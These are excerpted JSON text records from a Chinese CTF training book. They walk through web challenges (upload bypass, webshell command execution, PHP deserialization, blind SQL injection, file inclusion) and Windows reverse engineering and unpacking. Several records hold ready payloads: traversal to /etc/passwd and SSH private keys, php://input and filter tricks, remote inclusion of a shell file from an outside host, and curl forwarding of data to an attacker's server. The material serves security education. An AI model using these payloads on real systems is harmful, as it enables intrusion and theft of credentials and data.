    {"text": "图1-34 小结 一些应用在处理接收到的图片时，会取原图片的名称来拼接成一条命令，以执行重命名、移动、判断类型等操作，但对所接收的文件的名称没有进行严格的字符判断，使攻击者可以通过“;”“|”“&”“&&”等字符将原来的命令扩展，在执行原来的命令后执行扩展的命令，从而形成命令执行漏洞。"},
    {"text": "由于题目要求我们读取flag文件（CTF比赛环境和实际网络环境的区别就体现在这里：在实际网络环境中，我们无法确定网站是否存在漏洞； 在CTF比赛环境中，我们可以确定网站一定存在漏洞），所以这里很可能存在文件包含问题。"},
    {"text": "因为上传文件的操作很直接，所以，如果攻击者上传了可解析的文件，就相当于拥有了网站的运行权限，在权限足够的情况下可以执行很多操作。"},
    {"text": "攻击者需要对不同的防御方式进行绕过，才能上传文件。 常见的上传绕过方法列举如下。 • 客户端绕过：抓包、改包。 • 服务端绕过：文件类型、文件头、文件后缀。 • 配合文件包含漏洞绕过。 • 配合服务器解析漏洞绕过。 • CMS、编辑器漏洞绕过。 • 配合操作系统文件命名规则绕过。 • 配合其他规则绕过。 • WAF绕过。"},
    {"text": "高分题目通常不会只考察上传绕过，而会伴随对其他知识点的考察。 在解题时，首先要知道题目的上传功能都进行了哪些验证。 上传验证大致分为两种：一种是前端验证，也就是客户端验证； 另一种是后端验证，也就是服务端验证。 前端验证方法只有一种，就是JavaScript验证，即通过前端JavaScript语言对上传的文件进行验证，从而判断文件是否合法。 后端验证的方法要比前端验证的方法多一些，常见的有MIME验证、文件目录验证、文件扩展名验证、文件内容验证。"},
    {"text": "例如，要想验证JavaScript前端过滤，可以打开Burp Suite，开启代理，在提交请求时查看是否可以抓到请求包。 如果Burp Suite没有抓到请求包，而浏览器已经返回了结果，就说明上传验证是在前端进行过滤的，请求没有发到服务端； 如果抓到了请求包，就说明过滤是在服务端进行的，在解题时就可以考虑服务端验证的常用方法（这也是一个简单的验证过程）。"},
    {"text": "图1-42 图1-43 上传一幅正常的图片，获取图片的格式IMAGE/JPEG。 将PHP文件的格式改为这幅图片的格式，然后上传，如图1-44所示。 图1-44 从返回信息中可以看出，文件上传成功，获得了上传后的路径及文件名称，如图1-45所示。 图1-45 访问上传后文件的地址，并使用phpinfo()函数测试PHP文件是否可以执行，如图1-46所示。 图1-46 可以看到，文件已经成功上传且可以执行。"},
    {"text": "通过POST方式执行“1=echo `dir ..\\\\`;”命令（由于题目网站使用的是Windows服务器，所以使用dir命令； 如果题目网站使用的是Linux服务器，则应使用ls或ll命令），查看当前目录。"},
    {"text": "如图1-47所示，返回结果里有“f1a9.php”，这应该就是flag文件。 图1-47 执行“1=echo `type ..\\\\f1a9.php`;”命令（type是DOS下的文本读取命令，可用于读取文本内容），如图1-48所示。"},
    {"text": "这个漏洞很“奇葩”，并没有修改Content-Type的内容，而是修改了HTTP头的Content-Type的内容——只要修改首字母的大小写，就可以上传了，如图1-49所示。"},
    {"text": "图1-51 既然考察的是绕过上传验证，就可以上传一幅正常的图片，测试上传功能是否正常，如图1-52所示。 提示上传成功，看来上传功能是正常的，如图1-53所示。 图1-52 图1-53 既然上传功能是正常的，就可以尝试上传一个非法文件。"},
    {"text": "图1-55 上传一幅图片，并把图片改为PHP格式，测试网站是否会对文件后缀进行验证。 在这里，我们上传的文件其实是正常的图片文件（内容和类型都是正常的），只有文件后缀是“.php”，因此，如果上传成功，就说明网站没有采取验证文件后缀的措施，返回结果中不会提示存在405错误。"},
    {"text": "图1-58 图1-59 打开/u/1.php，页面返回的是文件的内容，说明PHP文件没有执行，只是作为文本文件显示出来了。 通过显示的内容可知，“<?”被删除了，这将导致PHP标签不完整，PHP文件无法执行，如图1-60所示。"},
    {"text": "“<?php ?>”“<? ?>”显然不合适，“<% %>”需要开启短标签功能，因此，只有第四种比较合适（也是绕过上传验证机制时经常使用的一种标签）。"},
    {"text": "未知 1.5 信息泄露漏洞 由于信息泄露漏洞无法帮助攻击者直接获得服务器权限，所以通常被网站管理员认为是很“鸡肋”的一种漏洞。但是，攻击者往往能通过被泄露的关键信息获取数据库密码、网页源代码、网站架构等，并通过这些信息采取其他攻击行为。 敏感信息泄露通常有以下几种情况。 • 开发工作完成后未删除的编辑器缓存文件。 • 备份的 .1、.bak等文件。 • 开发工作完成后未删除的phpinfo、探针等文件。 • 安装文件。 • SVN信息。 • GitHub源代码中的账号和密码。 • 服务器配置不当导致的目录遍历。 • 默认名称的可下载数据库等文件。 • 可猜测的目录地址。 题目1 CBC-ATTACK 题目概况 CBC-ATTACK（字节翻转攻击）与加密算法的关系比较紧密。 在解答本题时，可以先通过一个简单的信息泄露漏洞获得源代码，再利用字节翻转攻击取得flag。 解题思路 题目页面的标题为“login”，页面上只有简单的登录框，没有其他提示，如图1-70所示。看到登录框，就要进行简单的注入测试。测试发现，网站不存在常规的注入漏洞。 接下来，测试robots.txt、xxx.php.bak、xxx.php~、xxx.php.swp等文件是否存在。题目中存在test.php~文件，由此可以得到题目的源代码，如图1-71所示。 图1-70 图1-71 在第2行代码中，题目给出了一条注释，是一条提示信息。将该条注释的内容复制出来，粘贴到登录框中，单击登录按钮，如图1-72所示。 图1-72 返回信息提示我们，uid的值为1，不允许登录。看来，解题的关键就是这条注释。 接下来，将源代码保存到本地，以便查看。 这段代码的大意是：接收一个字符串，通过解密算法将这个字符串的原始数据解密，然后将原文数据的第17位取出，判定其值是否为4；如果为4，则直接返回flag；如果不为4，则返回不允许登录的提示信息。题目使用的加密算法已通过源代码给出，为CBC。 整体解题思路已经分析清楚了：构造一段密文，使其解密后的明文的第4段的值为4。 可以使用字节翻转攻击来解答本题。首先，需要了解CBC算法的工作原理。图1-73很好地说明了CBC算法的加密方式：先将明文分组与前一个密文分组（如果是第一组，则与Ⅳ）进行XOR运算，再进行加密。 图1-73 CBC算法的解密方式，如图1-74所示。对密文分组，先进行解密，再进行XOR运算，就能得到明文分组。 图1-74 CBC解密的公式如下。 改变Ⅳ的值，只会影响解密得到的第1组明文。改变密文中的1位，会导致其所对应的明文块完全改变，以及下一个明文块中的对应位改变，不会影响其他明文块的内容。密文通常以16个字符为一组，本题刚好要取第17个字符，也就是第2组密文的第1个字符。根据上面的公式可知，修改第1组密文的第1个字符会对第2组密文的第1个字符造成影响。因此，只需要遍历前2个字节，让第17个字符的值为4。 使用Burp Suite或自行编写脚本，用00～ff爆破前2个字节，得到结果“a6e250d5bc2 36431cda41390a6ffbb6f5982a73b32b2371751e89bbc7892d08a”。 题目2 robots 题目概况 robots是网站与爬虫之间的协议。在渗透测试前期搜集信息的过程中，可以通过robots文件获取网站的目录结构。 在JUNIORS CTF中有一道分值为500分的真题（CRYPTO-SHOP），难度不大，但如果选手不够细心，也很难解答。题目描述如下。 解题思路 题目描述中多次提到“加密”，于是猜测题目可能与加密有关。打开题目页面，其中只显示了一些简单的内容，具体如下。 Gravitycoin的价格是140.3，而我们目前拥有的Gravitycoin为0，猜测需要将拥有的Gravitycoin提高到140.3以上才能解题。 单击右键，查看源代码，其中没有可用的信息。查看Cookie文件，具体如下。 在这个Cookie文件中，先使用Base64进行了一次编码，再使用URL进行了一次编码。还原内容，如图1-75所示。 图1-75 由于还原的内容没有实际意义，所以无法从Cookie中获取有效信息。尝试还原其他文件，例如 .bak、.rar、.tar、.gz等，也都失败了。解题暂时没有头绪。突然想到还没有查看最基本的robots.tx文件。于是，打开robots.txt文件——找到了我们想要的内容。 访问rsa.html，页面跳转到403.html。查看源代码，发现其中有一串JavaScript代码进行了重定向，指向403.html。 在这里发现了一个公钥，而题目的主题也是加密，所以这个公钥应该是解题的关键。现在，解题思路很明确了：通过这个公钥生成一个Cookie，将Cookie修改为已购买足够的Gravitycoin，从而获得flag，如图1-76所示。 图1-76 将公钥存储在本地，然后生成一个Cookie，具体如下。 对特殊符号进行URL编码，具体如下。 用这个值替换现在的Cookie，我们拥有的Gravitycoin变为2333，解题成功。"},
    {"text": "小结 这是一道入门级的代码审计题目（也可以说是入门级的编程题目），要求选手能够看懂简单的代码，了解PHP中“===”和“==”的区别。"},
    {"text": "给 $o中的secret赋值：如果$o->secret和$o->enter相等，就输出这个值。 这个值当然不会是“*”，如果是这样，也就不用赋值了，$o->secret的值应该就是flag了（也就是说，输出$o->secret就可以得到flag了）。"},
    {"text": "其实，之前通过分析我们已经有了一些发现：unserialize()函数是反序列化函数，如果这个函数存在，并且出现在确实有漏洞的代码中，就可以判断题目考察的是利用反序列化漏洞输出 $o->secret的值。"},
    {"text": "根据引用传参的特点，让$o->secret和 $o->enter的值相等（这样，这两个变量就永远相等了），然后输出序列化字符串“O:8:\"just4fun\":2:{s:5:\"enter\";N;s:6:\"secret\";R:2;}”，如图1-77所示，提交后得到flag。"},
    {"text": "题目3 JavaScript代码审计 题目概况 JavaScript代码审计是近几年CTF比赛的宠儿，在国际和国内的CTF比赛中都会出现JavaScript代码审计方面的题目，下面介绍其中的一道。"},
    {"text": "打开网站，如图1-78所示，页面内容的大致意思是：我们认为任何人都应该放弃像C语言那样的不安全的语言，使用像JavaScript这样的更安全的语言。"},
    {"text": "可以看出，我们向服务器发送了值为“test”的密码，Cookie为“session=eyJhZG1pbiI6Im5vIn0=”和“session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs”。"},
    {"text": "通过以上结果可知：如果Buffer的内容是字符串，就会创建正常的缓冲器； 如果Buffer的内容是数字，就会创建一个比原来的数据大的缓冲器，并且结果是不同的。"},
    {"text": "未知 1.7 暴力破解 暴力破解就是使用穷举法的思想根据给出的条件确定密码的大致范围，并在此范围内对所有可能的情况逐一进行验证，“碰”到符合条件的那一个。 在CTF比赛中，常见的暴力破解题目一般是碰撞一个以“xx”开头的MD5值，或者碰撞一些验证码和简单密码等。 题目 MD5密码破解 题目概况 MD5是一种被广泛使用的密码散列函数，可以产生一个128位（16字节）的散列值，用于确保信息传输的一致性。在CTF比赛中，MD5密码破解的题目多种多样，下面介绍一种常见的题目形式。 解题思路 打开页面，看到“please input a”，看来题目需要我们输入a的值。可是，a的值是什么，对这个值有什么要求？现在我们还不知道。 单击右键，查看源代码。这个方法在很多时候都是获取线索的最直接的途径。出题人往往喜欢把一些想要让选手们知道的内容放在源代码里，这道题目就是如此。我们看到了一段PHP代码，如图1-82所示。 图1-82 在这段代码的开头定义了一个变量@md51，其值是字符串“QNKCDZO”的MD5值。传入的a在@md5后传给了@md52。 接下来，我们判断传入的a的值。该值不可能是“QNKCDZO”，并且传入的值要等于“QNKCDZO”加密后的MD5值。满足这些条件，就能输出flag了。 尽管现在知道a要传入什么了，但相信读者还是有些发晕。既要不等于字符串，又要等于这个字符串的MD5值——怎么看都是题目出错了。我们先不管这个问题，计算一下“QNKCDZO”的MD5值，如图1-83所示。 图1-83 看到MD5值开头的“0e”，恍然大悟——PHP有一个散列值比较漏洞，利用的就是以“0e”开头的MD5值。 在PHP中，比较一般都是用“==”和“===”实现的。我们先看几个实验，如图1-84所示。 图1-84 可以看出：在第一次比较中，a在比较时会自动转换为数字，所以有“0=a”；第二次比较也是这样，如果两边都为数字，就会全部转换为数值型再进行比较；后面两次比较使用了科学计数法，通过科学计数法的换算，“1e1”就等于前面的值。 再做一个实验，如图1-85所示。 图1-85 看到了吧，两个MD5值在使用科学计数法换算后都等于0——两个原本不同的MD5值在PHP的比较符下变得相等了。 回到本题。我们除了需要找到代码里的“QNKCDZO”字符串，还需要找到一个以“0e”开头的MD5值。一段遍历可以生成以“0e”开头的MD5值的代码如下。 执行以上代码，可以获得一个字符串，如图1-86所示。 从这些字符串中任意取一个传给a，成功获取flag，如图1-87所示。 图1-86 图1-87 相关知识点 以“0e”开头的MD5值，如表1-2所示。 表1-2 小结 本题考察的是PHP的散列值比较漏洞。这个知识点在实际应用中有一定的局限性，因此本题算是一道比较冷门的题目（符合CTF的出题思路）。"},
    {"text": "未知 1.8 反序列化 序列化是指把对象转换成字节流，以便保存在内存、文件、数据库中。反序列化是序列化的逆过程，即把字节流还原成对象。如果应用对用户输入（不可信数据）进行了反序列化处理，攻击者就可以通过构造恶意输入让反序列化产生非预期的对象，而非预期的对象在产生过程中可能导致任意代码的执行。 • 在Java程序中，反序列化一般可以通过执行命令获取相应的权限。 • 在PHP程序中，反序列化一般可以通过“==”对比不严谨而造成Cookie、会话或权限绕过等。 因为Java反序列化代码执行漏洞一般都有比较成熟的利用工具，所以其在CTF比赛中出现的概率不高。在很多时候，CTF赛题都是通过PHP的反序列化来伪造Cookie，以登录相应的账号，再进行进一步操作的。 题目 messagecenter 题目概况 本题的标题为“messagecenter”（来自Hackover CTF），表示传递用户之间发送的信息。题目主界面的内容包括：欢迎信息；测试登录账号/密码demo/demo、demo2/demo2；用户Alice、Bob和其他用户。 解题思路 题目的主界面上有一个登录框，如图1-88所示。配合题目概况，我们大体可以知道，本题考察的是如何通过Alice、Bob或类似admin的用户登录以获取flag。如何登录这些账号？可以使用的方法有注入、XSS、伪造Cookie。 图1-88 利用题目给出的测试账号登录，登录后可以发送和读取信息，那么解题思路很可能是利用XSS取得管理员的Cookie，然后拿到flag。测试一下，发现确实存在XSS，但没有管理员、Bob、Alice和其他有价值用户的Cookie。所以，我们刚才的想法可能“跑偏”了。检查Cookie，发现其中包含用户名等信息，如图1-89所示。 图1-89 这很像是序列化后的数据。使用PHP反序列化方法还原对象，具体如下。 运行脚本，得到如下结果。 这里的Cookie是由用户名和加密后的密码组成的。在1.6节中，我们介绍过PHP的比较方式，分为“==”和“===”。如果程序中使用的是“==”，那么“password==正确的密码”和“password==True”的结果是一样的。尝试使用账号admin和密码“True”生成一个Cookie，具体如下。 得到Cookie的值“a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22 admin%22%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D”。进行登录测试，结果失败了。接下来，使用同样的方式生成账号Alice、Bob的Cookie。如图1-90所示，使用Alice的Cookie登录系统后，获得了flag，答题完成。 图1-90 小结 本题主要考察选手对PHP反序列化漏洞的掌握程度：看到“messagecenter”这个标题就应该知道，可能需要利用XSS进一步查看Cookie；了解Cookie的格式后，就应该想到可以通过反序列化和PHP比较直接将密码置为“True”。"},
    {"text": "通过尝试，发现WAF过滤了关键字“```空格```”“```or```”“```and```”“```union```”“```+```”“```*```”“```逗号```”，未被过滤的关键字有“```()```”“```'```”“```=```”“```select```”“```from```”“```where```”，以及不含关键字的MySQL自带函数。"},
    {"text": "需要注意的是，在MySQL中，字符串表示为真，数字1同样表示为真（字符串格式的数字亦然），而数字0可以表示为假（字符串格式的数字亦然），没取到数据也可以表示为假。"},
    {"text": "提交之后，提示“password error”，说明uname被提取出来了，即我们给出的条件为真。 如果uname没有被提取，那么将会提示“username error”，即我们给出的条件为假，如图1-91所示。"},
    {"text": "判断第32位字符是否为f，是就为真，否就为假。 通过返回结果“```username error```”可以判断最后一个字符不是f（因为MD5值只有数字0～9、字母a～f这16个字符）。"},
    {"text": "在本题中，遍历的结果是“```e2e31a427d2e8c4851b53f7eeb9fff95```”，通过MD5破解，密码为“```test888```”，如图1-93所示。"},
    {"text": "这时就需要利用“```Cloud Eye```”或“```Web Server Log```”把数据透传出来，执行命令“```curl```”将数据转发到我们自己的服务器，然后使用“```head```”和“```tail```”命令读取数据，最后直接查看我们自己的服务器的“```Web Server Log```”，从而获得数据。"},
    {"text": "解题思路 访问题目网址，可以看到一个管理后台。 查看源代码（要养成这个习惯，往往会有意外发现），找到一个测试账号demo，其密码为123456，如图1-96所示。"},
    {"text": "图1-98 按“Ctrl+R”快捷键，或者单击右键，在弹出的快捷菜单中选择“Send to Intruder”选项，进入Burp Suite的“Intruder”标签页，在“Positions”页面中单击“Clear”按钮，清除所有默认参数。"},
    {"text": "图1-99 进入“Payloads”页面，在“Add from list …”下拉列表中选择“passwords”选项（这是Burp Suite自带的密码字典，也可以单击“Load…”按钮加载已有的字典文件），如图1-100所示。"},
    {"text": "先尝试上传一个JPG文件，发现无法上传，原因应该是没有写入权限，如图1-102所示。 这种情况有两种可能：一是出题人不允许上传文件，但上传功能是完好的，只是没有写入权限，所以可能性不大； 二是越权跨目录上传，这需要将文件上传到一个有写入权限的目录中，而一般网站的Session文件都需要写入权限，所以在这里可以将文件上传到Session目录中。"},
    {"text": "如图1-103所示，可以看到文件内容、文件名称、文件Session等，但没有看到路径——难道我们猜错了？ 再仔细看看，如图1-104所示，发现URL里面有一个fs-path参数，值为“/”。"},
    {"text": "通过浏览器访问Shell的地址，使用POST方式提交命令“1=echo 'dir ..\\\\..\\\\';”（因为题目网站使用的是Windows服务器，所以要使用dir命令），如图1-105所示。"},
    {"text": "解题思路 打开题目地址，会看到一个超链接，此外什么信息都没有。 单击超链接，会跳转到另一个页面，页面上依然什么信息都没有，但仔细观察就会发现，其URL有一些问题（file=show.php）。"},
    {"text": "知道了是本地文件包含漏洞，要如何利用它呢？ 本地文件包含漏洞是指，在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验而操作了预想外的文件，可能导致意外的文件泄露甚至恶意代码注入的情况，最常见的形式是本地包含。 在实际渗透测试中，本地文件包含漏洞的利用往往要配合上传：首先上传一个图片格式的WebShell，然后利用本地文件包含漏洞读取WebShell，以PHP来执行，从而获取目标权限。"},
    {"text": "从当前URL里可以知道，有两个文件存在，分别是index.php、show.php。 包含读取index.php文件，可以看到，返回了一个空白页面。 直接读取index.php文件，可以进行操作，但读不到文件内容，如图1-107所示。 图1-107 通过本地文件包含漏洞读取文件内容，需要利用伪协议PHP流。"},
    {"text": "PHP本身支持很多协议，例如FTP、HTTP、PHP、FILE等。 PHP会对这些协议执行一些操作。 例如，PHP会通过FILE协议读取服务器中的文件（利用的就是php://filter/）。"},
    {"text": "这对一体式（All-in-One）的文件函数（例如readfile()、file()和file_get_contents()）非常有用，在数据流内容被读取之前，没有机会应用其他过滤器。"},
    {"text": "在“file”后面的地址栏中输入“php://filter/read=convert.base64-encode/resource=index.php”，然后将index.php的内容返回并使用Base64进行加密。"},
    {"text": "图1-111 相关知识点 （1）本地文件包含漏洞概述 本地文件包含漏洞是PHP函数在引入文件时未对文件名进行严格的验证而导致的文件泄露及代码注入漏洞。"},
    {"text": "1.txt是一个文本文件，其内容是一段用于输出phpinfo的PHP代码，访问该文件本身不会执行里面的PHP代码。 但是，如果通过aaa.php文件访问1.txt文件，就会执行phpinfo，即1.txt文件被包含了，如图1-112所示。"},
    {"text": "• 目录遍历：?file=../../../../../../../../../var/lib/locate.db； ?file=../../../../../../../../../var/lib/mlocate/mlocate.db”。"},
    {"text": "• /root/.ssh/authorized_keys。 • /root/.ssh/id_rsa。 • /root/.ssh/id_rsa.keystore。 • /root/.ssh/id_rsa.pub。 • /root/.ssh/known_hosts。"},
    {"text": "• %00截断：?file=../../../../../../../../../etc/passwd%00（需要magicquotesgpc=Off，PHP版本低于5.3.4）。 • %00截断目录遍历：?file=../../../../../../../../../var/www/%00（需要magicquotesgpc=Off，使用UNIX文件系统，例如FreeBSD、OpenBSD、NetBSD、Solaris）。"},
    {"text": "• 远程代码执行：?file=[http|https|ftp]://example.com/shell.txt（需要allowurlfopen=On且allowurlinclude=On）。 • 利用PHP流输入：?file=php://input（需要allowurlinclude=On，详情见链接1-3）。 • 利用PHP流过滤：?file=php://filter/convert.base64-encode/resource=index.php。 • 利用Data URI：?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=（需要allow_url_include=On）。"},
    {"text": "按照这种思路，如图1-117所示，在本地搭建一个数据库，开放对服务器的访问权限，通过抓包得到连接信息，然后建立一个相同的数据库来存储账号和密码，就可以成功登录了。"},
    {"text": "未知 2.1 Windows中的可执行程序 本节涉及Windows下可执行程序的逆向技术，通过flag查找、序列号破解、算法逆向分析等题目，使读者对相关知识形成基本的认知。"},
    {"text": "题目描述中说，这道题是根据前一年的题目改编的，并通过附件提供了原版题目程序（名为csaw2013reversing2_2013.exe），有兴趣的读者可以在做完本题后进行尝试。"},
    {"text": "例如，笔者曾经遇到一道题目，将一个Linux下的ELF（Executable and Linking Format）文件（当然，在打开之前并不知道）的扩展名改成了exe，如果在Windows中打开这个文件，就会弹出一个写着“此文件的版本与正在运行的Windows版本不兼容”的对话框。"},
    {"text": "例如，在Linux中可以使用file工具查看题目提供的文件是什么类型的，在macOS中可以使用TrID工具完成这项操作。 虽然Windows没有提供类似的命令行工具，但我们可以使用WinHex查看文件头，如果有足够的积累，那么只看一个文件的前几个字节，就能够判断文件的类型了。"},
    {"text": "既然可以确认这道题中的文件为Windows下的可执行文件，就先利用PEiD等工具看一下文件使用了哪种编程语言，以及是否已经加壳，为后续的解题多收集一些信息——“作战”需要知己知彼。"},
    {"text": "每个人可能都有自己习惯使用的工具，在这里使用两款常用的工具，分别是IDA和OllyDbg（在本题的“相关知识点”部分会重点介绍这两款工具）。"},
    {"text": "由于本题的程序代码非常少，所以在使用IDA加载程序后，不仅可以直接看到程序的流程图，还可以准确定位“Flag”对话框，如图2-2所示。 图2-2 IDA加载程序后，一般会先显示流程图。"},
    {"text": "在此界面中选择一个位置，然后按“空格”键，就会顺序显示此位置的汇编代码。 例如，单击图2-2中的“call ds:IsDebuggerPresent”位置，然后按“空格”键，就会显示如图2-3所示的内容。"},
    {"text": "图2-3中的两个分支是由以上代码中的if条件引起的，其中有一个IsDebuggerPresent()函数，用于确定调用进程是否是由用户模式的调试器来调试的。"},
    {"text": "通过以上代码可以知道，我们需要的flag值是由MessageBoxA中的lpMem提供的，而lpMem的值除了在初始化时被定义，就是在if代码段的sub_401000()函数中被改变了。"},
    {"text": "因为正常运行程序（不使用调试器）是不会进入if代码段的，所以，在正常运行程序时，lpMem在初始化后将直接被MessageBoxA弹出，对话框中会显示乱码。"},
    {"text": "因为原版的OllyDbg已经不再更新了，现在普遍使用的是经过汉化、增加了插件和新功能的版本，所以，当我们按照某本书或某篇文章的内容利用OllyDbg调试程序，却无法得到相同的结果时，不要担心，换个版本试试看。"},
    {"text": "在OllyDbg中，按“Ctrl+G”快捷键跳转到该位置（因为需要加上程序的基址0x400000，所以填写的内容为“0x40108c”），按“F2”键设置一个断点，然后按“F9”键运行程序，程序将在此处中断，如图2-4所示。"},
    {"text": "图2-4 介绍一下int 3指令。 INT3是断点的一种，机器码为CC。 在OllyDbg中按“F2”键设置断点时，就利用了int 3指令。 当被调试进程执行int 3指令导致一个异常时，调试器就会捕捉这个异常，从而停在断点处，然后将断点处的指令恢复成原来的指令。 但是，由于我们解答本题时在代码中直接写了一个int 3指令（这将导致OllyDbg无法修改程序，此异常会被系统接管，在系统中又找不到处理此异常的方法），所以，只能使用终极手段“退出程序”了。"},
    {"text": "• 单击OllyDbg中的“Options”→“Debugging Options”→“Exceptions”选项，取消勾选“INT3 breaks”选项。 • 在OllyDbg中选择int 3指令这一行，按“空格”键，填写“nop”，然后单击“确定”按钮。"},
    {"text": "由于按“F8”键将进行单步调试，其中有两个循环，一个用于获取一些字符串，另一个用于对字符串进行异或，需要花费很长时间，所以，我们可以单击0x00401027处，然后按“F4”键，直接让程序运行到这里，看看内存中是否有需要的内容。"},
    {"text": "我们将其改成前面提到的MessageBoxA的地址0x004010B9，即“jmp short 004010B9”，然后按“F9”键，运行程序，弹出的对话框如图2-6所示。"},
    {"text": "很多逆向题目都是按照这种思路解答的：除了不同语言的逆向题目需要选手分别掌握其方法，大部分的题目描述中都会包含算法，通过在程序中设置各种“坑”来迷惑选手，但归根结底，答案都是由算法得出的（这道题也不例外，0x00401000处的汇编代码就是本题的算法）。"},
    {"text": "相关知识点 为什么建议在Windows XP中调试程序 在使用OllyDbg调试程序时，可能需要更改程序的流程（跳转到其他地址），也可能需要跳转到一个明确的地址。"},
    {"text": "实际上，ASLR的概念在Windows XP中就已经提出了，只不过它在Windows XP中的功能有限，只能对PEB和TEB进行简单的随机化处理，无法对模块的加载基址进行随机化处理。"},
    {"text": "可能是出于对兼容性的考虑，微软在系统中设置了映像随机化开关，用户可以通过设置注册表项HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\MoveImages来设置映像随机化工作模式。"},
    {"text": "使用IDA将程序载入，定位IsDebuggerPresent()函数，然后按“F2”键设置一个断点。 IDA的调试快捷键和OllyDbg类似，按“F4”键可以运行到光标所在行，按“F7”键可以步入，按“F8”键可以步过，按“F9”键可以运行程序。 设置断点后，选择菜单栏中的“Debugger”选项。 如果是第一次用IDA调试程序，则只能看到一个选项“Select Debugger”。 如果曾经使用IDA进行调试，就会看到很多关于调试的选项。 选择“Switch Debugger”选项，会弹出一个用于选择调试器的对话框，如图2-7所示。 图2-7 单击选中“Local Win32 debugger”单选按钮，然后单击“OK”按钮。 按“F9”键开始运行程序，如无问题，程序会在已经设置的断点处中断，如图2-8所示。 图2-8 因为现在程序正在调试器中运行程序，所以IsDebuggerPresent会返回非零值，程序会继续运行。 按“F8”键进行单步调试，到达int 3指令后，IDA会弹出一个警告对话框，提示我们程序遇到异常。"},
    {"text": "再进行一次单步操作，弹出了一个对话框，如图2-9所示，询问我们是否要忽略此异常，如果不忽略，就会将程序控制权交给程序的异常处理机制。 我们知道，此程序没有定义异常处理机制，如果不忽略此异常，那么此异常将被提交给操作系统，而操作系统会使用它最擅长的“退出程序”进行处理，所以，应单击“No (discard)”按钮，忽略此异常。"},
    {"text": "使程序运行到“pop edi”这一行（截图就不给出了，请读者参考本题“解题思路”部分的相关内容），计算结果就在EDX寄存器中，值为0x003107E0。"},
    {"text": "题目2 脱壳并找出序列号 题目概况 本题提供的EXE文件进行过简单的加壳，因此在破解序列号之前需要进行脱壳处理（题目来自Sharif University Quals CTF）。"},
    {"text": "因为加壳时会对原程序的内容进行修改，只有程序被加载之后才能将程序还原（本题“相关知识点”部分会介绍壳的原理），所以，只有在进行动态调试时才能跟踪原程序的流程，使用IDA等静态分析工具无法将原程序的代码编译出来。"},
    {"text": "既然知道了壳的版本，就可以搜索相应版本的脱壳软件。 不过，笔者在答题时没有找到可用的脱壳软件，所以，还是使用最原始和最有效的方法，也就是手工脱壳。"},
    {"text": "在这里可以按照ESP定律，假设壳是一个子程序，壳在代码解压前和解压后必须要做的是，遵循堆栈平衡原理，让ESP寄存器执行到OEP时使ESP寄存器的值等于其调用壳程序之前的值。"},
    {"text": "复制对应的地址0x0018FF8C，在OllyDbg的命令行窗口中设置硬件断点（命令为hr），然后加上刚刚复制的地址，按“回车”键。 单击“调试”→“硬件断点”选项，就能看到已经设置的断点了，如图2-15所示。 图2-15 既然断点已经设置好，那么直接按“F9”键运行程序，程序就会在断点处中断。"},
    {"text": "可以看到，发生了JNZ（Jump if Not Zero，结果不等于0就跳转），而且是从红色的ESP寄存器开始向下跳转。 红色代表跳转已经实现，方向为向下，到达0x00417420处。"},
    {"text": "此时，单击“调试”→“硬件断点”选项，删除之前通过hr命令添加的硬件断点，然后，按“F7”键进行单步调试，即可到达程序真正的入口点，地址为0x004016BB。 在此处单击右键，在弹出的快捷菜单中选择“用OllyDump脱壳调试进程”选项，会显示如图2-16所示的界面。"},
    {"text": "在这里，我们使用一个偷懒的方法——查看字符串，原理是：在使用错误的信息注册时，弹出的对话框中有字符串，而代码中调用此字符串的位置离注册功能的逻辑代码不远。"},
    {"text": "图2-18 双击此处，会来到此字符串在程序数据段中的位置。 按“Ctrl+X”快捷键，会显示引用这个字符串的位置，如图2-19所示。 图2-19 跳转到调用此字符串的汇编代码位置，然后按“F5”键进行反汇编。"},
    {"text": "其实，使用OllyDbg的动态调试功能也可以方便地解答本题：在程序进行序列号比较时，直接从寄存器中查看参加比较的值，然后将其拼成序列号。"},
    {"text": "它们附加在原程序中，通过Windows加载器载入内存，先于原程序运行以得到控制权，在执行过程中对原程序进行解密和还原，再将控制权还给原程序，执行原程序的代码。"},
    {"text": "• 加密壳：根据侧重点不同分为不同的种类，有单纯用于保护程序的壳，也有能够提供使用次数、时间限制等功能的壳。 常见的加密壳，包括ASProtect、EncryptPE、EXECrptor、Armadillo、Themida等。"},
    {"text": "分析者如果想跟踪虚拟机内的代码执行、理解程序的流程，就必须对虚拟机引擎进行深入的分析，得到完整的原程序代码和字节码的对应关系，其复杂程度可想而知。"},
    {"text": "虽然以上代码中定义了多个局部变量，而且每个变量在接下来的运算中都被使用了，但是仔细思考一下就会发现：因为传入的a1就是flag数组的值，传出的也是这个值，所以在这个函数中我们只要关心包含a1的计算即可（其他无关紧要的计算可以省略，从而节省时间）。"},
    {"text": "由于v4被赋值为a2（也就是调用者传入的那个非常大的数值），第一次传入时此值为10亿，也就是说，v4的while循环要进行10亿次，而其中包含a1的操作只是每循环一次a1的值减1而已，所以，此操作完全没有必要使用循环来完成，使用“*a1-=v4”就能解决。"},
    {"text": "虽然其值为-1，但是其类型为sugned int，故v5的循环要进行21亿次，而其中包含a1的计算也是根据循环次数每次加1，所以，此循环可以简化为“*a1 += v5”。"},
    {"text": "对于sub_401100()函数，其第一个while循环无法简化，第二个循环可以直接去掉。 对于sub_401220()函数，其第一个循环可以简化为“a1 += v3”，第二个循环可以简化为“a1 += v4”。"},
    {"text": "其实，IDA给出的反编译代码等同于真实的代码，但其中有些数据的类型可能不是C++的，我们只需要将其改为C++中对应的数据类型即可。"},
    {"text": "在这段汇编代码中，“local.6”就是循环中的v4，“arg.1”就是a1，“sub ecx,0x1”就是每次循环a1-1，“sub ecx,0x1”就是每次循环v4-1。"},
    {"text": "• 我们参考的反汇编代码是经过IDA优化的，其中一些IDA认为无关程序功能的代码会被优化掉，不在反汇编得到的C语言代码中体现，而我们在通过编程得到flag值时，也是按照经过优化的代码编写的，所以，第一种方法的速度快一些。"},
    {"text": "• 在直接修改OllyDbg中的汇编代码时，OllyDbg将会原封不动地呈现程序的汇编指令，但由于我们只修改了其中的关键循环指令，没有去掉被IDA优化掉的那部分指令，所以，第二种方法的速度慢一些。"},
